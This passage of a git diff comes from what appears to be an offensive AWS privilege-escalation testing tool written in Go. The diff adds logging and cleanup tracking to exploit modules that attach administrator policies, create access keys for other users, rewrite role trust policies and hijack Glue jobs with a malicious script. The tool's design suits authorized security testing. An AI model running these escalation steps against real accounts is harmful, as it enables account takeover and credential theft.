fmt.Sprintf("Created Glue dev endpoint %s with role %s", endpointName, roleArn), + map[string]string{"endpoint_name": endpointName, "role_arn": roleArn}) + } // Track the endpoint for cleanup immediately after creation so it is captured // even if the module exits early (e.g., during the provisioning wait). diff --git a/pkg/exploits/glue_passrole_job/module.go b/pkg/exploits/glue_passrole_job/module.go index 40e7ac6..119332e 100644 --- a/pkg/exploits/glue_passrole_job/module.go +++ b/pkg/exploits/glue_passrole_job/module.go @@ -94,7 +94,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -142,6 +142,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -275,6 +276,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create Glue job: %v", err) } fmt.Printf("Glue job created: %s\n", jobName) + if logger != nil { + logger.LogAWSCall("glue", "CreateJob", region, + fmt.Sprintf("Created Glue Python Shell job %s with execution role %s", jobName, roleArn), + map[string]string{"job_name": jobName, "role_arn": roleArn, "script_uri": scriptS3URI, "payload": payloadType}) + } // Track the Glue job for cleanup if tracker != nil { @@ -307,6 +313,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobRunID := aws.ToString(startResult.JobRunId) fmt.Printf("Job run started: %s\n", jobRunID) + if logger != nil { + logger.LogAWSCall("glue", "StartJobRun", region, + fmt.Sprintf("Started Glue job run for job %s to execute payload under execution role permissions", jobName), + map[string]string{"job_name": jobName, "job_run_id": jobRunID}) + } // Poll for job completion fmt.Println("Waiting for Glue job to complete (polling every 5s, timeout 5m)...") diff --git a/pkg/exploits/glue_passrole_job_createtrigger/module.go b/pkg/exploits/glue_passrole_job_createtrigger/module.go index 5b8c041..fc1e0ce 100644 --- a/pkg/exploits/glue_passrole_job_createtrigger/module.go +++ b/pkg/exploits/glue_passrole_job_createtrigger/module.go @@ -106,7 +106,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com", m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -168,6 +168,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger roleArn := options["ROLE_ARN"] payloadType := options["PAYLOAD"] @@ -309,6 +310,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create Glue job: %v", err) } fmt.Printf("Glue job created: %s\n", jobName) + if logger != nil { + logger.LogAWSCall("glue", "CreateJob", region, + fmt.Sprintf("Created Glue job %s with role %s", jobName, roleArn), + map[string]string{"job_name": jobName, "role_arn": roleArn}) + } // Track the Glue job for cleanup. if tracker != nil { @@ -348,6 +354,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create Glue trigger: %v", err) } fmt.Printf("Trigger created: %s\n", triggerName) + if logger != nil { + logger.LogAWSCall("glue", "CreateTrigger", region, + fmt.Sprintf("Created Glue scheduled trigger %s for job %s", triggerName, jobName), + map[string]string{"trigger_name": triggerName, "job_name": jobName}) + } // Track the trigger for cleanup (must stop before delete). if tracker != nil { diff --git a/pkg/exploits/glue_updatejob_createtrigger/module.go b/pkg/exploits/glue_updatejob_createtrigger/module.go index 7dd0994..32ed8e8 100644 --- a/pkg/exploits/glue_updatejob_createtrigger/module.go +++ b/pkg/exploits/glue_updatejob_createtrigger/module.go @@ -115,7 +115,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com", m.DiscoveryLogger) case "JOB_NAME": return discoverGlueJobs(context.Background(), config) default: @@ -179,6 +179,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger // Apply option defaults for values not explicitly set by the operator. // This mirrors the Default field from Options() that the UI displays but does not @@ -332,6 +333,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to update Glue job: %v", err) } fmt.Printf("Glue job '%s' updated with privileged role and malicious script.\n", jobName) + if logger != nil { + logger.LogAWSCall("glue", "UpdateJob", region, + fmt.Sprintf("Updated Glue job %s with privileged role %s and malicious script", jobName, roleArn), + map[string]string{"job_name": jobName, "role_arn": roleArn}) + } // Clean up any orphaned "pathrunner-trigger-*" triggers for this job from prior // runs that were not properly deleted. Each such trigger fires every minute and @@ -374,6 +380,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to create Glue trigger: %v", err) } fmt.Printf("Trigger created: %s\n", triggerName) + if logger != nil { + logger.LogAWSCall("glue", "CreateTrigger", region, + fmt.Sprintf("Created Glue scheduled trigger %s to run job %s with role %s", triggerName, jobName, roleArn), + map[string]string{"trigger_name": triggerName, "job_name": jobName, "role_arn": roleArn}) + } // Track the trigger for workspace cleanup (session.go already handles glue:trigger). if tracker != nil { @@ -482,6 +493,24 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { m.cleanupUploadedScript(ectx, codeCleanupPrefix) } + // Track the job modification when cleanup is disabled — the workspace report shows what needs manual restoration. + if options["CLEANUP"] != "true" { + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "glue:job-update", + Name: jobName, + Region: region, + CleanupMethod: "glue:UpdateJob", + ModuleID: "glue-006", + Metadata: map[string]string{ + "job_name": jobName, + "original_role_arn": originalRoleArn, + "original_script": originalScript, + }, + }) + } + } + // Resolve the job run ID so we can fetch its CloudWatch log stream. // waitForTriggerJobCompletion returns state but not run ID; query the most recent run. jobRunID := m.getMostRecentJobRunID(ctx, glueClient, jobName) diff --git a/pkg/exploits/glue_updatejob_startjobrun/module.go b/pkg/exploits/glue_updatejob_startjobrun/module.go index 355ab92..5ece4b8 100644 --- a/pkg/exploits/glue_updatejob_startjobrun/module.go +++ b/pkg/exploits/glue_updatejob_startjobrun/module.go @@ -109,9 +109,9 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com") + return discovery.DiscoverRolesForService(context.Background(), config, "glue.amazonaws.com", m.DiscoveryLogger) case "JOB_NAME": - return discovery.DiscoverGlueJobs(context.Background(), config) + return discovery.DiscoverGlueJobs(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -180,6 +180,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger jobName := options["JOB_NAME"] roleArn := options["ROLE_ARN"] @@ -314,6 +315,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { return "", fmt.Errorf("failed to update Glue job: %v", err) } fmt.Printf("Glue job '%s' updated with privileged role and malicious script\n", jobName) + if logger != nil { + logger.LogAWSCall("glue", "UpdateJob", region, + fmt.Sprintf("Updated Glue job %s with privileged role %s and malicious script", jobName, roleArn), + map[string]string{"job_name": jobName, "role_arn": roleArn}) + } // Step 8: Start the job run, retrying on ConcurrentRunsExceededException. // Glue jobs with MaxConcurrentRuns=1 briefly retain the "occupied" state after @@ -342,6 +348,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { jobRunID := aws.ToString(startResult.JobRunId) fmt.Printf("Job run started: %s\n", jobRunID) + if logger != nil { + logger.LogAWSCall("glue", "StartJobRun", region, + fmt.Sprintf("Started Glue job run %s for job %s with role %s", jobRunID, jobName, roleArn), + map[string]string{"job_run_id": jobRunID, "job_name": jobName, "role_arn": roleArn}) + } // Step 9: Poll for job completion (every 5s, 5 min timeout — from demo_attack.sh) fmt.Println("Waiting for Glue job to complete (polling every 5s, timeout 5m)...") @@ -410,6 +421,20 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { m.cleanupUploadedScript(ectx, codeCleanupPrefix) } else { fmt.Printf("Job '%s' left with modified config (cleanup disabled). Restore manually when done.\n", jobName) + if tracker != nil { + tracker.TrackResource(modules.CreatedResource{ + Type: "glue:job-update", + Name: jobName, + Region: region, + CleanupMethod: "glue:UpdateJob", + ModuleID: "glue-005", + Metadata: map[string]string{ + "job_name": jobName, + "original_role_arn": origConfig.roleArn, + "original_script": origConfig.scriptLocation, + }, + }) + } } // Fetch job output from CloudWatch so payloads can process it (PATHFINDER_IDENTITY_DATA, role ARNs, etc.) diff --git a/pkg/exploits/iam_addusertogroup/module.go b/pkg/exploits/iam_addusertogroup/module.go index b307e3a..53e78db 100644 --- a/pkg/exploits/iam_addusertogroup/module.go +++ b/pkg/exploits/iam_addusertogroup/module.go @@ -90,7 +90,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMGroups(context.Background(), config) + return discovery.DiscoverIAMGroups(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -124,6 +124,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger groupName := options["GROUP_NAME"] if groupName == "" { return "", fmt.Errorf("GROUP_NAME is required") @@ -144,6 +145,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -167,6 +172,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to add user to group: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "AddUserToGroup", config.Region, + fmt.Sprintf("Added user %s to group %s", userName, groupName), + map[string]string{"user_name": userName, "group_name": groupName}) + } fmt.Printf("Successfully added user '%s' to group '%s'.\n", userName, groupName) diff --git a/pkg/exploits/iam_attachgrouppolicy/module.go b/pkg/exploits/iam_attachgrouppolicy/module.go index ace3981..c4e21fb 100644 --- a/pkg/exploits/iam_attachgrouppolicy/module.go +++ b/pkg/exploits/iam_attachgrouppolicy/module.go @@ -89,7 +89,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverCallerGroups(context.Background(), config) + return discovery.DiscoverCallerGroups(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -129,6 +129,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger groupName := options["GROUP_NAME"] if groupName == "" { return "", fmt.Errorf("GROUP_NAME is required") @@ -154,6 +155,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -173,6 +178,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to attach group policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "AttachGroupPolicy", config.Region, + fmt.Sprintf("Attached policy %s to group %s", policyArn, groupName), + map[string]string{"group_name": groupName, "policy_arn": policyArn}) + } fmt.Printf("Successfully attached policy to group '%s'.\n", groupName) diff --git a/pkg/exploits/iam_attachrolepolicy/module.go b/pkg/exploits/iam_attachrolepolicy/module.go index bd7e1d0..a173fb6 100644 --- a/pkg/exploits/iam_attachrolepolicy/module.go +++ b/pkg/exploits/iam_attachrolepolicy/module.go @@ -130,7 +130,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current switch optionName { case "ROLE_ARN": - return discovery.DiscoverIAMRoles(context.Background(), config) + return discovery.DiscoverIAMRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -141,6 +141,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger adminPolicyArn := options["ADMIN_POLICY_ARN"] if adminPolicyArn == "" { @@ -162,6 +163,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -204,6 +209,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if assumeErr != nil { return "", fmt.Errorf("failed to assume role '%s': %v", roleName, assumeErr) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s to perform self-escalation", roleName), + map[string]string{"role_arn": roleArn}) + } fmt.Printf("Successfully assumed role '%s'.\n", roleName) // Build a config using the assumed role credentials @@ -235,6 +245,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to attach role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "AttachRolePolicy", config.Region, + fmt.Sprintf("Attached policy %s to role %s", adminPolicyArn, roleName), + map[string]string{"role_name": roleName, "policy_arn": adminPolicyArn}) + } fmt.Printf("Successfully attached policy '%s' to role '%s'.\n", adminPolicyArn, roleName) @@ -277,6 +292,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if assumeErr2 != nil { return "", fmt.Errorf("failed to re-assume role '%s' after escalation: %v", roleName, assumeErr2) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Re-assumed role %s with escalated privileges", roleName), + map[string]string{"role_arn": roleArn}) + } newAccessKeyID := aws.ToString(assumeResult2.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult2.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_attachrolepolicy_assumerole/module.go b/pkg/exploits/iam_attachrolepolicy_assumerole/module.go index d79bcb0..8dc1c3a 100644 --- a/pkg/exploits/iam_attachrolepolicy_assumerole/module.go +++ b/pkg/exploits/iam_attachrolepolicy_assumerole/module.go @@ -82,7 +82,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverAssumableRoles(context.Background(), config) + return discovery.DiscoverAssumableRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -101,6 +101,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetRoleArn := options["TARGET_ROLE"] if targetRoleArn == "" { return "", fmt.Errorf("TARGET_ROLE is required") @@ -133,6 +134,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -150,6 +155,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to attach role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "AttachRolePolicy", config.Region, + fmt.Sprintf("Attached policy %s to role %s", policyArn, roleName), + map[string]string{"role_name": roleName, "policy_arn": policyArn}) + } fmt.Printf("Successfully attached policy to role '%s'.\n", roleName) tracker.TrackResource(modules.CreatedResource{ @@ -175,6 +185,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role '%s': %v", roleName, err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s after attaching admin policy", roleName), + map[string]string{"role_arn": targetRoleArn}) + } newAccessKeyID := aws.ToString(assumeResult.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_attachrolepolicy_updateassumerolepolicy/module.go b/pkg/exploits/iam_attachrolepolicy_updateassumerolepolicy/module.go index 820c1d6..404f403 100644 --- a/pkg/exploits/iam_attachrolepolicy_updateassumerolepolicy/module.go +++ b/pkg/exploits/iam_attachrolepolicy_updateassumerolepolicy/module.go @@ -83,7 +83,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMRoles(context.Background(), config) + return discovery.DiscoverIAMRoles(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -104,6 +104,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetRole := options["TARGET_ROLE"] if targetRole == "" { return "", fmt.Errorf("TARGET_ROLE is required") @@ -129,6 +130,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) callerAccount := aws.ToString(callerIdentity.Account) fmt.Printf("Current identity: %s\n", callerArn) @@ -167,6 +172,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to attach role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "AttachRolePolicy", config.Region, + fmt.Sprintf("Attached policy %s to role %s", policyArn, targetRole), + map[string]string{"role_name": targetRole, "policy_arn": policyArn}) + } fmt.Printf("Successfully attached policy to role '%s'.\n", targetRole) tracker.TrackResource(modules.CreatedResource{ @@ -208,6 +218,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to update assume role policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "UpdateAssumeRolePolicy", config.Region, + fmt.Sprintf("Updated trust policy for role %s to allow caller assumption", targetRole), + map[string]string{"role_name": targetRole, "trust_principal": trustPrincipal}) + } fmt.Println("Successfully updated trust policy!") tracker.TrackResource(modules.CreatedResource{ @@ -233,6 +248,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to assume role '%s': %v", targetRole, err) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s after attaching policy and updating trust policy", targetRole), + map[string]string{"role_arn": roleArn}) + } newAccessKeyID := aws.ToString(assumeResult.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_attachuserpolicy/module.go b/pkg/exploits/iam_attachuserpolicy/module.go index 26539d6..7c72afd 100644 --- a/pkg/exploits/iam_attachuserpolicy/module.go +++ b/pkg/exploits/iam_attachuserpolicy/module.go @@ -103,6 +103,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger policyArn := options["POLICY_ARN"] if policyArn == "" { policyArn = "arn:aws:iam::aws:policy/AdministratorAccess" @@ -123,6 +124,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -148,6 +153,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to attach user policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "AttachUserPolicy", config.Region, + fmt.Sprintf("Attached policy %s to user %s", policyArn, userName), + map[string]string{"user_name": userName, "policy_arn": policyArn}) + } fmt.Printf("Successfully attached policy to user '%s'.\n", userName) diff --git a/pkg/exploits/iam_attachuserpolicy_createaccesskey/module.go b/pkg/exploits/iam_attachuserpolicy_createaccesskey/module.go index 8b530d6..e969acf 100644 --- a/pkg/exploits/iam_attachuserpolicy_createaccesskey/module.go +++ b/pkg/exploits/iam_attachuserpolicy_createaccesskey/module.go @@ -83,7 +83,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMUsers(context.Background(), config) + return discovery.DiscoverIAMUsers(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -102,6 +102,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetUser := options["TARGET_USER"] if targetUser == "" { return "", fmt.Errorf("TARGET_USER is required") @@ -126,6 +127,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -144,6 +149,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to attach user policy: %v", err) } + if logger != nil { + logger.LogAWSCall("iam", "AttachUserPolicy", config.Region, + fmt.Sprintf("Attached policy %s to user %s", policyArn, targetUser), + map[string]string{"user_name": targetUser, "policy_arn": policyArn}) + } fmt.Printf("Successfully attached policy to user '%s'.\n", targetUser) tracker.TrackResource(modules.CreatedResource{ @@ -171,6 +181,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { newAccessKeyID := aws.ToString(createResult.AccessKey.AccessKeyId) newSecretKey := aws.ToString(createResult.AccessKey.SecretAccessKey) fmt.Printf("Created access key: %s\n", newAccessKeyID) + if logger != nil { + logger.LogAWSCall("iam", "CreateAccessKey", config.Region, + fmt.Sprintf("Created access key for user %s", targetUser), + map[string]string{"user_name": targetUser, "access_key_id": newAccessKeyID}) + } tracker.TrackResource(modules.CreatedResource{ Type: "iam:access-key", Name: newAccessKeyID, Region: config.Region, diff --git a/pkg/exploits/iam_create_policy_version/module.go b/pkg/exploits/iam_create_policy_version/module.go index c2b89a8..57ec36a 100644 --- a/pkg/exploits/iam_create_policy_version/module.go +++ b/pkg/exploits/iam_create_policy_version/module.go @@ -95,7 +95,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverCallerPolicies(context.Background(), config) + return discovery.DiscoverCallerPolicies(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -156,6 +156,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger policyArn := options["POLICY_ARN"] if policyArn == "" { return "", fmt.Errorf("POLICY_ARN is required") @@ -175,6 +176,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } callerArn := aws.ToString(callerIdentity.Arn) fmt.Printf("Current identity: %s\n", callerArn) @@ -223,6 +228,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if assumeErr != nil { return "", fmt.Errorf("failed to assume role '%s': %v", roleName, assumeErr) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Assumed role %s to perform self-escalation", roleName), + map[string]string{"role_arn": roleArn}) + } fmt.Printf("Successfully assumed role '%s'.\n", roleName) attackConfig = config.Copy() @@ -256,6 +266,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { versionID := aws.ToString(createResult.PolicyVersion.VersionId) fmt.Printf("Successfully created policy version: %s (set as default)\n", versionID) + if logger != nil { + logger.LogAWSCall("iam", "CreatePolicyVersion", config.Region, + fmt.Sprintf("Created admin policy version %s for policy %s (set as default)", versionID, policyArn), + map[string]string{"policy_arn": policyArn, "version_id": versionID}) + } // Step 5: Track the modification for cleanup tracker.TrackResource(modules.CreatedResource{ @@ -301,6 +316,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if assumeErr2 != nil { return "", fmt.Errorf("failed to re-assume role '%s' after escalation: %v", roleName, assumeErr2) } + if logger != nil { + logger.LogAWSCall("sts", "AssumeRole", config.Region, + fmt.Sprintf("Re-assumed role %s with escalated policy version", roleName), + map[string]string{"role_arn": roleArn}) + } newAccessKeyID := aws.ToString(assumeResult2.Credentials.AccessKeyId) newSecretKey := aws.ToString(assumeResult2.Credentials.SecretAccessKey) diff --git a/pkg/exploits/iam_createaccesskey/module.go b/pkg/exploits/iam_createaccesskey/module.go index 77b3e5b..203b80d 100644 --- a/pkg/exploits/iam_createaccesskey/module.go +++ b/pkg/exploits/iam_createaccesskey/module.go @@ -93,7 +93,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMUsers(context.Background(), config) + return discovery.DiscoverIAMUsers(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -127,6 +127,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetUser := options["TARGET_USER"] if targetUser == "" { return "", fmt.Errorf("TARGET_USER is required") @@ -146,6 +147,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } fmt.Printf("Current identity: %s\n", aws.ToString(callerResult.Arn)) fmt.Printf("Account: %s\n", aws.ToString(callerResult.Account)) @@ -169,6 +174,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { newSecretKey := aws.ToString(createResult.AccessKey.SecretAccessKey) fmt.Printf("Created access key: %s\n", newAccessKeyID) + if logger != nil { + logger.LogAWSCall("iam", "CreateAccessKey", config.Region, + fmt.Sprintf("Created access key for IAM user %s", targetUser), + map[string]string{"target_user": targetUser, "access_key_id": newAccessKeyID}) + } // Step 3: Track the created access key for cleanup tracker.TrackResource(modules.CreatedResource{ @@ -210,6 +220,11 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { newArn := aws.ToString(verifyResult.Arn) fmt.Printf("\nVerified new identity: %s\n", newArn) + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + fmt.Sprintf("Verified new credentials work for user %s", targetUser), + map[string]string{"identity_arn": newArn}) + } // Step 6: Build output with identity data for auto-import identityName := fmt.Sprintf("iam002_%s_%d", targetUser, time.Now().Unix()) diff --git a/pkg/exploits/iam_createloginprofile/module.go b/pkg/exploits/iam_createloginprofile/module.go index 1d472e1..66f29a7 100644 --- a/pkg/exploits/iam_createloginprofile/module.go +++ b/pkg/exploits/iam_createloginprofile/module.go @@ -92,7 +92,7 @@ func (m *Module) Discover(optionName string, identity *modules.Identity, current if region := currentOptions["REGION"]; region != "" { config.Region = region } - return discovery.DiscoverIAMUsers(context.Background(), config) + return discovery.DiscoverIAMUsers(context.Background(), config, m.DiscoveryLogger) default: return nil, fmt.Errorf("option '%s' does not support auto-discovery", optionName) } @@ -136,6 +136,7 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { identity := ectx.Identity options := ectx.Options tracker := ectx.Tracker + logger := ectx.Logger targetUser := options["TARGET_USER"] if targetUser == "" { return "", fmt.Errorf("TARGET_USER is required") @@ -170,6 +171,10 @@ func (m *Module) Execute(ectx modules.ExecutionContext) (string, error) { if err != nil { return "", fmt.Errorf("failed to get caller identity: %v", err) } + if logger != nil { + logger.LogAWSCall("sts", "GetCallerIdentity", config.Region, + "Verified current caller identity", nil) + } 